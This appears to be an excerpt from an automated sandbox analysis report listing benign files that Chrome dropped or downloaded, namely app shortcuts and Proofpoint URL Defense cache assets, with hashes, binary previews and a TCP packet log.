.F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Wed Sep 30 06:28:28 2020, mtime=Thu Aug 10 09:45:23 2023, atime=Tue Aug 1 18:57:01 2023, length=1158936, window=hide
                            Category:dropped
                            Size (bytes):2677
                            Entropy (8bit):4.033764169841282
                            Encrypted:false
                            SSDEEP:48:8J0cdUKRmHyidAKZdA1t9eh/iZUkAQkqehRBA2:8J0URa9Qc
                            MD5:9426E48CB884D53EDE9E1AA10B0543FE
                            SHA1:B6611CAE9B7D177339B5965AACDDD7E531429673
                            SHA-256:7186D175A6FD0967508EA218C3DEDD4102707DFDF5C928987802C32565239934
                            SHA-512:058B3824B06208D22AA2EA81FC006385EBC2672E8DF7142F66B5039F881DCA960EE3AB1B3B1CF01BE87CA98F19218969F2440530227F4C2B21BB2A40B4E252D9
                            Malicious:false
                            Reputation:low
                            Preview:L..................F.@.. ....b.J........w.....,V............................1....P.O. .:i.....+00.../C:\.....................1......W.U..PROGRA~1..t......L..W......E...............J........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....>Q.;..Google..>......>Q.;.W................................G.o.o.g.l.e.....T.1......W.U..Chrome..>......>Q.;.W............................c.>.C.h.r.o.m.e.....`.1......W.U..APPLIC~1..H......>Q.;.W.............................A.A.p.p.l.i.c.a.t.i.o.n.....n.2......W!. .CHROME~1.EXE..R......>Q.;.W.U.....}......................h.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........[A.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Wed Sep 30 06:28:28 2020, mtime=Thu Aug 10 09:45:23 2023, atime=Tue Aug 1 18:57:01 2023, length=1158936, window=hide
                            Category:dropped
                            Size (bytes):2691
                            Entropy (8bit):4.045906897273675
                            Encrypted:false
                            SSDEEP:48:8J0cdUKRmHyidAKZdA14J9eh7sFiZUkmgqeh7sDBABX:8J0UREnF
                            MD5:A8ACAA82A58FCE351020918DC57FEB85
                            SHA1:31D5BFFC5E5E9FAE89B3083753FB54AACC592343
                            SHA-256:0540A9904119286350AA8FD3D2BCF3C0460B2A31836B65D52F203BE5B4F1B226
                            SHA-512:CDA3E380F76FFA40D2E640C9BF1C89F15059094262AB1BC08FE7CC42F06E9AB4D601134CF29AA80BD1B46CE662522E2857F5D222A8407374C9BED3DCF6E51F5B
                            Malicious:false
                            Reputation:low
                            Preview:L..................F.@.. ....b.J........w.....,V............................1....P.O. .:i.....+00.../C:\.....................1......W.U..PROGRA~1..t......L..W......E...............J........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....>Q.;..Google..>......>Q.;.W................................G.o.o.g.l.e.....T.1......W.U..Chrome..>......>Q.;.W............................c.>.C.h.r.o.m.e.....`.1......W.U..APPLIC~1..H......>Q.;.W.............................A.A.p.p.l.i.c.a.t.i.o.n.....n.2......W!. .CHROME~1.EXE..R......>Q.;.W.U.....}......................h.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........[A.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Wed Sep 30 06:28:28 2020, mtime=Thu Aug 10 09:45:23 2023, atime=Tue Aug 1 18:57:01 2023, length=1158936, window=hide
                            Category:dropped
                            Size (bytes):2679
                            Entropy (8bit):4.031299508792961
                            Encrypted:false
                            SSDEEP:48:8J0cdUKRmHyidAKZdA1u9ehDiZUkwqehNBAR:8J0URHr
                            MD5:1BDBA1FE9D054FA6AC22AF610E1ED2ED
                            SHA1:5A809413155211BB1358A152C93B31A437CC298D
                            SHA-256:7A62CF8B25F76382FB8862EDF4FF348E0872A791036872B5F02D0F28843F6C84
                            SHA-512:8DA104CF173E48A64823ACDC75A4239CCCB953CD13D99020DBDA8809D2A84000E96C7DD4440B5BBCF8B373CE12B0612C4DDA2900098C4673CA7FE0F1CCE29890
                            Malicious:false
                            Reputation:low
                            Preview:L..................F.@.. ....b.J........w.....,V............................1....P.O. .:i.....+00.../C:\.....................1......W.U..PROGRA~1..t......L..W......E...............J........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....>Q.;..Google..>......>Q.;.W................................G.o.o.g.l.e.....T.1......W.U..Chrome..>......>Q.;.W............................c.>.C.h.r.o.m.e.....`.1......W.U..APPLIC~1..H......>Q.;.W.............................A.A.p.p.l.i.c.a.t.i.o.n.....n.2......W!. .CHROME~1.EXE..R......>Q.;.W.U.....}......................h.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........[A.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Wed Sep 30 06:28:28 2020, mtime=Thu Aug 10 09:45:23 2023, atime=Tue Aug 1 18:57:01 2023, length=1158936, window=hide
                            Category:dropped
                            Size (bytes):2679
                            Entropy (8bit):4.01953699269947
                            Encrypted:false
                            SSDEEP:48:8J0cdUKRmHyidAKZdA1c9ehBiZUk1W1qehnBAC:8J0URH9H
                            MD5:195E9BAB8A7DF7D5EF483AA41BAED99A
                            SHA1:0B47761B5DC853D0C731C3989AE442690223A2DC
                            SHA-256:31BA483483F761D256723D495DA0D4F93533562B68EA399438E6638055839CFB
                            SHA-512:A27906D3B4C2A487FA0EA9A4D757ABC0D32708397E8361FFD87647E54F7D5AE06BAE4180C7210AE246EF3628ACB812310775C7EE44F1109EF422B57ACDF54B56
                            Malicious:false
                            Reputation:low
                            Preview:L..................F.@.. ....b.J........w.....,V............................1....P.O. .:i.....+00.../C:\.....................1......W.U..PROGRA~1..t......L..W......E...............J........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....>Q.;..Google..>......>Q.;.W................................G.o.o.g.l.e.....T.1......W.U..Chrome..>......>Q.;.W............................c.>.C.h.r.o.m.e.....`.1......W.U..APPLIC~1..H......>Q.;.W.............................A.A.p.p.l.i.c.a.t.i.o.n.....n.2......W!. .CHROME~1.EXE..R......>Q.;.W.U.....}......................h.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........[A.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Wed Sep 30 06:28:28 2020, mtime=Thu Aug 10 09:45:23 2023, atime=Tue Aug 1 18:57:01 2023, length=1158936, window=hide
                            Category:dropped
                            Size (bytes):2681
                            Entropy (8bit):4.034719302131829
                            Encrypted:false
                            SSDEEP:48:8J0cdUKRmHyidAKZdA1duTn9ehOuTbbiZUk5OjqehOuTbFBAyT+:8J0URwTqTbxWOvTbFPT
                            MD5:AE734F982091F48F6B0B4D28E6CF6CB6
                            SHA1:130FE8040C3481C7734BAEC19EABABCB6EDDE08F
                            SHA-256:1460525136F9E09D0F8D2B77D2CD6C7478AF1C2F37AAA57682093B792F530A84
                            SHA-512:834B51F963E4217DB58706100EC1FC818DA7EA98486F8178160269D01909F21FBC92A9E1D49076370E9C710D74B62C7A5679D2BCEF2983FE6AFF9EB4A582D490
                            Malicious:false
                            Reputation:low
                            Preview:L..................F.@.. ....b.J........w.....,V............................1....P.O. .:i.....+00.../C:\.....................1......W.U..PROGRA~1..t......L..W......E...............J........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....>Q.;..Google..>......>Q.;.W................................G.o.o.g.l.e.....T.1......W.U..Chrome..>......>Q.;.W............................c.>.C.h.r.o.m.e.....`.1......W.U..APPLIC~1..H......>Q.;.W.............................A.A.p.p.l.i.c.a.t.i.o.n.....n.2......W!. .CHROME~1.EXE..R......>Q.;.W.U.....}......................h.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........[A.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                            Chrome Cache Entry: 231

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                            Category:dropped
                            Size (bytes):894
                            Entropy (8bit):4.344683701204062
                            Encrypted:false
                            SSDEEP:12:t45hxJZbL5NtID/7/ltIL5bZJ34vRRRRRRRRRRRGz9l9:t8ztutQhxf
                            MD5:F5C7F1AA9AEB0DFA465C2FC4B66D8837
                            SHA1:F219EFD04FCA7AEC4395D2910861329C164C9E22
                            SHA-256:111F2D2E3DE93DE285F0AAD6B78FCFB36BDB6D0EEF4CE75491FE586E631E0C4C
                            SHA-512:C95B7CD68BA2712279A0F471C721F277B053175AAE5341D06EA354EA959B4A0371B2C962ED7B7A5CF0194823A93FD74A9C3B443F1EA718917F7A4B78E9D0213F
                            Malicious:false
                            Reputation:low
                            Preview:..............h.......(....... ...........@......................9.3.3.3.3.3.3.3.3.3.3.3.3.9...N.............................Z.K.............................Z.K..........`...@...............Z.K........p............ ...........Z.K........`..........................Z.K..........`....................`.....Z.K...............................p...Z.K...............................p...Z.K..........`....................`.....Z.K........`..........................Z.K........p............ ...........Z.K..........`...@...............Z.K.............................Z.N.............................].....f..f..f..f..f..f..f..f..f..f..f..f..f..f.....ME..AR..\\..ta..10..\h..e$..li...L..S_..CA..DI..C:..ro..am..il

                            Chrome Cache Entry: 232

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CC 2015 (Macintosh), datetime=2015:10:01 15:42:26], baseline, precision 8, 187x64, components 1
                            Category:downloaded
                            Size (bytes):20820
                            Entropy (8bit):6.115298643155388
                            Encrypted:false
                            SSDEEP:192:1EknPBU4QsGajrPA0yUIcQgVeQ74ukmFOe5aEoQ8my3kyIMgEa/owNI60o2DiJKv:xnPq4QshyjJdItcMdC0qBlP3
                            MD5:2354AE0C3B30ED5A5A6CE13853946CDE
                            SHA1:62A4EDF895F221D051B6B7509490F64721A15CCD
                            SHA-256:C3161B65DA3DA019547FBC4072E5E7DA13C1FABCE048107019FEFC72DE02E21A
                            SHA-512:D1E3E4D245B63E6FC771213229A4533E62817F845BCBAF2249FC1377F226447D003D1469F7BB584927CD8C833ACAD8A032D4B936971BEAF4A7FC6E03EB846986
                            Malicious:false
                            Reputation:low
                            URL:https://urldefense.com/jasset/images/proofpoint_logo.jpeg
                            Preview:......JFIF.....,.,.....nPhotoshop 3.0.8BIM.......6..Z...%G.........>..20150924..?..150838-0700.....Print8BIM.%...........~..Q.,.........Exif..MM.*.............................b...........j.(...........1.....$...r.2...........i.................,.......,....Adobe Photoshop CC 2015 (Macintosh).2015:10:01 15:42:26.................................................`....2015:09:24 15:08:38...=.http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:xmpTPg="http://ns.adobe.com/xap/1.0/t/pg/" xmlns:xmpG="http://ns.adobe.com/xap/1.0/g/" xmlns:stDim="http://ns.adobe.com/xap/1.0/sType/Dimensions#" xmlns:dc="http://purl.org/dc/elements/1.1/" xm

                            Chrome Cache Entry: 233

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
                            Category:dropped
                            Size (bytes):4803
                            Entropy (8bit):7.945415885603797
                            Encrypted:false
                            SSDEEP:96:bXPZaTvJQ6JqwminbkmNmxvkX76/rNQPQm0iPLfROzIya:L8jJFJqOkzxvczL0UbRO5a
                            MD5:B69B8937C432C824243F1FF03FE4A169
                            SHA1:CFF98ABE81FE41B5A2FAF269CB0F6859B616ED51
                            SHA-256:8A552613C9B52A23149A7CEFE7C15C321E62162AED70E9A736E6C96BBB07BC5F
                            SHA-512:75943C9F3728E8A7BB98D5C108C5F5B7982C3C18C559353B818A4BCE1EED8CD408B868964B853BAC42A8F3BC662AE242C91D344D1D53EC4F1048C4FA59AB2DAC
                            Malicious:false
                            Reputation:low
                            Preview:.PNG........IHDR...@...@......iq.....sRGB........}IDATx..y..U..?..~U..Z.'.t..:..$$!....DV.....[D...t.:.2...#g.....D..A.....9s...,.$!!Io.[u-..{w..u7.tc....v..._u.z.{......5...rX.._.....Z..._.".........._...n....&v.......(a.Rj......[.|./.....nR6wk..@:SQA<Q.~:.H...Z./...Jw"1.N.o.........37N....3R).g.R.:)q..P....K....e.....X....|.P..;._.p..]{>3..7....{U.....a4.%F...K&...Q...R..-_<o....].....Cj..'6.....:_....!.....1N.."..D.H..Q...L.\....t...o|[z.7./..=.WO..Z5..t..!.X..2.B.......q5..5....../...2|..s.y...o?..emF;R...MW.O.W....+.&...d.}.......x.A..a.a.>Z..g..t...{..m.......I..2.k<...Q.0..,\@../A....z.6\L.I.(..C..Q..j.d.(..1..o+..:...;:.WUVi,]N,o..(.B..khy.{q^.Q......}..;.BJ%<[.S%.KRQ[..:.N......-....kj.w.tu.*.iSD5@.E4.'..}.z....Y.8...5M.^...."!...).YS%.%...y.=..t.[........LoCbq,J..p...yT.x<.X.QT.V...u.O^.@G.%..z.j..>.m-.;.....4..6~&...)."U.A...|.R@o*I..!Q............JjW.!.La.%......i.2.'..}...6...`..?.V....[TJ%T.J..18...NX. ......."..0...E...I)....<

                            Chrome Cache Entry: 234

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CC 2015 (Macintosh), datetime=2015:10:01 15:42:26], baseline, precision 8, 187x64, components 1
                            Category:dropped
                            Size (bytes):20820
                            Entropy (8bit):6.115298643155388
                            Encrypted:false
                            SSDEEP:192:1EknPBU4QsGajrPA0yUIcQgVeQ74ukmFOe5aEoQ8my3kyIMgEa/owNI60o2DiJKv:xnPq4QshyjJdItcMdC0qBlP3
                            MD5:2354AE0C3B30ED5A5A6CE13853946CDE
                            SHA1:62A4EDF895F221D051B6B7509490F64721A15CCD
                            SHA-256:C3161B65DA3DA019547FBC4072E5E7DA13C1FABCE048107019FEFC72DE02E21A
                            SHA-512:D1E3E4D245B63E6FC771213229A4533E62817F845BCBAF2249FC1377F226447D003D1469F7BB584927CD8C833ACAD8A032D4B936971BEAF4A7FC6E03EB846986
                            Malicious:false
                            Reputation:low
                            Preview:......JFIF.....,.,.....nPhotoshop 3.0.8BIM.......6..Z...%G.........>..20150924..?..150838-0700.....Print8BIM.%...........~..Q.,.........Exif..MM.*.............................b...........j.(...........1.....$...r.2...........i.................,.......,....Adobe Photoshop CC 2015 (Macintosh).2015:10:01 15:42:26.................................................`....2015:09:24 15:08:38...=.http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:xmpTPg="http://ns.adobe.com/xap/1.0/t/pg/" xmlns:xmpG="http://ns.adobe.com/xap/1.0/g/" xmlns:stDim="http://ns.adobe.com/xap/1.0/sType/Dimensions#" xmlns:dc="http://purl.org/dc/elements/1.1/" xm

                            Chrome Cache Entry: 235

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:HTML document, ASCII text, with very long lines (312)
                            Category:downloaded
                            Size (bytes):2008
                            Entropy (8bit):4.532777620801532
                            Encrypted:false
                            SSDEEP:48:Hm4Jf51HLf7maZHMpTmk/X8tGQX6Clva4md1KT:l71HLq5TFEIQBYbHq
                            MD5:E8041A80331C38E7C1ACCB76FE3096D6
                            SHA1:9B26F455451639A3F1B33F033FEA34E06420B5D2
                            SHA-256:C81C0FD7123BB57A229DDF3EF6633DB5DA601EE5BB367008EB4D45D117E4FC1E
                            SHA-512:F7BB5C4F28CF9FEE20C47B68755BD73A8D84C2E011EB6846691B40B83A605551A819CB8A163ECE99DCD6F34E071C0BE352641A3DFAD69937B559F82485837975
                            Malicious:false
                            Reputation:low
                            URL:https://urldefense.com/jerror
                            Preview:<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8">. <meta name="viewport" content="width=694, user-scalable=no">. <title>Proofpoint Targeted Attack Protection</title>. <link href="/jasset/stylesheets/common.css" media="all" rel="stylesheet" type="text/css" />. <link href='/jasset/images/favicon.ico' rel='shortcut icon'>. </head>. <body>. <div class='warningbox shadow'>. <div class='en title' style="background-image:url('/jasset/images/warning.png')">You've Reached This Page In Error</div>. <div class='description'>. <p style="direction:ltr">Sorry, we are unable to reach the page you were trying to access. It appears that the link you clicked on is missing some key information. The link may have been broken because the message has been modified, forwarded, or otherwise changed from its original form.</p>. <p style="direction:ltr">Your organization has enabled this technology to pro

                            Chrome Cache Entry: 236

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:ASCII text
                            Category:downloaded
                            Size (bytes):2864
                            Entropy (8bit):5.139585964425596
                            Encrypted:false
                            SSDEEP:48:K/maEciRyMzMoKVJV1VAVMVwVJVNVZVMVoVcVqNHAVJV1VAVMVwVUVPVn5csN9Y5:5wiRJgo7NHut5csTUFPVLTP
                            MD5:2FEC9CA2BE9C015E692928EB54429CA1
                            SHA1:EAD795B071563A70FB00600551DDF1C7B2E2D07D
                            SHA-256:080218E94B8FBE62AB1CBA4465CD549A03737E69C25F4FC375DA5AD9DC58DC35
                            SHA-512:FA7DDE474AE3E0CBFA42E93C7D6836F66610D288FF02E9739BD7C749EDC9811CC9D34AE3D770E4F044C8BDE9C7F3D76C16CE68D3417F384BABEB2B82A85B2C29
                            Malicious:false
                            Reputation:low
                            URL:https://urldefense.com/jasset/stylesheets/common.css
                            Preview:html{..min-height:100%;..background:#0094bc;..background:-moz-linear-gradient(#0094bc, #3dd6ff);..background:-ms-linear-gradient(#0094bc, #3dd6ff 100%);..background:-webkit-gradient(linear, left top, left bottom, from(#0094bc), to(#3dd6ff));..background:-webkit-linear-gradient(#0094bc, #3dd6ff 100%);..background:-o-linear-gradient(#0094bc, #3dd6ff 100%);..filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='$background-gradient-start', endColorstr='$background-gradient-end');..-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr='$background-gradient-start', endColorstr='$background-gradient-end')";..background:linear-gradient(#0094bc, #3dd6ff 100%).}.body{..font-family:arial, verdana, helvetica;font-size:12px.}...warningbox{..-moz-box-shadow:3px 3px 10px 3px #006c89;..-webkit-box-shadow:3px 3px 10px 3px #006c89;..box-shadow:3px 3px 10px 3px #006c89;..-webkit-border-top-left-radius:16px;..-moz-border-top-left-radius:16px;..border-top-left-radius:16px;..-webk

                            Chrome Cache Entry: 237

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                            Category:downloaded
                            Size (bytes):894
                            Entropy (8bit):4.344683701204062
                            Encrypted:false
                            SSDEEP:12:t45hxJZbL5NtID/7/ltIL5bZJ34vRRRRRRRRRRRGz9l9:t8ztutQhxf
                            MD5:F5C7F1AA9AEB0DFA465C2FC4B66D8837
                            SHA1:F219EFD04FCA7AEC4395D2910861329C164C9E22
                            SHA-256:111F2D2E3DE93DE285F0AAD6B78FCFB36BDB6D0EEF4CE75491FE586E631E0C4C
                            SHA-512:C95B7CD68BA2712279A0F471C721F277B053175AAE5341D06EA354EA959B4A0371B2C962ED7B7A5CF0194823A93FD74A9C3B443F1EA718917F7A4B78E9D0213F
                            Malicious:false
                            Reputation:low
                            URL:https://urldefense.com/jasset/images/favicon.ico
                            Preview:..............h.......(....... ...........@......................9.3.3.3.3.3.3.3.3.3.3.3.3.9...N.............................Z.K.............................Z.K..........`...@...............Z.K........p............ ...........Z.K........`..........................Z.K..........`....................`.....Z.K...............................p...Z.K...............................p...Z.K..........`....................`.....Z.K........`..........................Z.K........p............ ...........Z.K..........`...@...............Z.K.............................Z.N.............................].....f..f..f..f..f..f..f..f..f..f..f..f..f..f.....ME..AR..\\..ta..10..\h..e$..li...L..S_..CA..DI..C:..ro..am..il

                            Chrome Cache Entry: 238

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
                            Category:downloaded
                            Size (bytes):4803
                            Entropy (8bit):7.945415885603797
                            Encrypted:false
                            SSDEEP:96:bXPZaTvJQ6JqwminbkmNmxvkX76/rNQPQm0iPLfROzIya:L8jJFJqOkzxvczL0UbRO5a
                            MD5:B69B8937C432C824243F1FF03FE4A169
                            SHA1:CFF98ABE81FE41B5A2FAF269CB0F6859B616ED51
                            SHA-256:8A552613C9B52A23149A7CEFE7C15C321E62162AED70E9A736E6C96BBB07BC5F
                            SHA-512:75943C9F3728E8A7BB98D5C108C5F5B7982C3C18C559353B818A4BCE1EED8CD408B868964B853BAC42A8F3BC662AE242C91D344D1D53EC4F1048C4FA59AB2DAC
                            Malicious:false
                            Reputation:low
                            URL:https://urldefense.com/jasset/images/warning.png
                            Preview:.PNG........IHDR...@...@......iq.....sRGB........}IDATx..y..U..?..~U..Z.'.t..:..$$!....DV.....[D...t.:.2...#g.....D..A.....9s...,.$!!Io.[u-..{w..u7.tc....v..._u.z.{......5...rX.._.....Z..._.".........._...n....&v.......(a.Rj......[.|./.....nR6wk..@:SQA<Q.~:.H...Z./...Jw"1.N.o.........37N....3R).g.R.:)q..P....K....e.....X....|.P..;._.p..]{>3..7....{U.....a4.%F...K&...Q...R..-_<o....].....Cj..'6.....:_....!.....1N.."..D.H..Q...L.\....t...o|[z.7./..=.WO..Z5..t..!.X..2.B.......q5..5....../...2|..s.y...o?..emF;R...MW.O.W....+.&...d.}.......x.A..a.a.>Z..g..t...{..m.......I..2.k<...Q.0..,\@../A....z.6\L.I.(..C..Q..j.d.(..1..o+..:...;:.WUVi,]N,o..(.B..khy.{q^.Q......}..;.BJ%<[.S%.KRQ[..:.N......-....kj.w.tu.*.iSD5@.E4.'..}.z....Y.8...5M.^...."!...).YS%.%...y.=..t.[........LoCbq,J..p...yT.x<.X.QT.V...u.O^.@G.%..z.j..>.m-.;.....4..6~&...)."U.A...|.R@o*I..!Q............JjW.!.La.%......i.2.'..}...6...`..?.V....[TJ%T.J..18...NX. ......."..0...E...I)....<

                            Static File Info

                            ⊘No static file info

                            Network Behavior

                            Network Port Distribution

                            TCP Packets

                            TimestampSource PortDest PortSource IPDest IP
                            Aug 30, 2023 22:37:59.754916906 CEST49708443192.168.2.4142.251.36.237
                            Aug 30, 2023 22:37:59.754966021 CEST44349708142.251.36.237192.168.2.4
                            Aug 30, 2023 22:37:59.755052090 CEST49708443192.168.2.4142.251.36.237
                            Aug 30, 2023 22:37:59.769592047 CEST49708443192.168.2.4142.251.36.237
                            Aug 30, 2023 22:37:59.769615889 CEST44349708142.251.36.237192.168.2.4
                            Aug 30, 2023 22:37:59.781503916 CEST49710443192.168.2.4172.217.16.174
                            Aug 30, 2023 22:37:59.781593084 CEST44349710172.217.16.174192.168.2.4
                            Aug 30, 2023 22:37:59.781727076 CEST49710443192.168.2.4172.217.16.174
                            Aug 30, 2023 22:37:59.783324957 CEST49710443192.168.2.4172.217.16.174
                            Aug 30, 2023 22:37:59.783356905 CEST44349710172.217.16.174192.168.2.4
                            Aug 30, 2023 22:37:59.855077028 CEST44349708142.251.36.237192.168.2.4
                            Aug 30, 2023 22:37:59.858850956 CEST49708443192.168.2.4142.251.36.237
                            Aug 30, 2023 22:37:59.858903885 CEST44349708142.251.36.237192.168.2.4
                            Aug 30, 2023 22:37:59.860232115 CEST44349708142.251.36.237192.168.2.4
                            Aug 30, 2023 22:37:59.860349894 CEST49708443192.168.2.4142.251.36.237
                            Aug 30, 2023 22:37:59.862700939 CEST44349710172.217.16.174192.168.2.4
                            Aug 30, 2023 22:37:59.865319967 CEST49710443192.168.2.4172.217.16.174
                            Aug 30, 2023 22:37:59.865374088 CEST44349710172.217.16.174192.168.2.4
                            Aug 30, 2023 22:37:59.865664959 CEST49708443192.168.2.4142.251.36.237
                            Aug 30, 2023 22:37:59.865804911 CEST44349708142.251.36.237192.168.2.4
                            Aug 30, 2023 22:37:59.865969896 CEST44349710172.217.16.174192.168.2.4
                            Aug 30, 2023 22:37:59.866058111 CEST49710443192.168.2.4172.217.16.174
                            Aug 30, 2023 22:37:59.866336107 CEST49708443192.168.2.4142.251.36.237
                            Aug 30, 2023 22:37:59.866377115 CEST44349708142.251.36.237192.168.2.4
                            Aug 30, 2023 22:37:59.866904974 CEST44349710172.217.16.174192.168.2.4
                            Aug 30, 2023 22:37:59.866974115 CEST49710443192.168.2.4172.217.16.174
                            Aug 30, 2023 22:37:59.868524075 CEST49710443192.168.2.4172.217.16.174
                            Aug 30, 2023 22:37:59.868639946 CEST44349710172.217.16.174192.168.2.4
                            Aug 30, 2023 22:37:59.868760109 CEST49710443192.168.2.4172.217.16.174
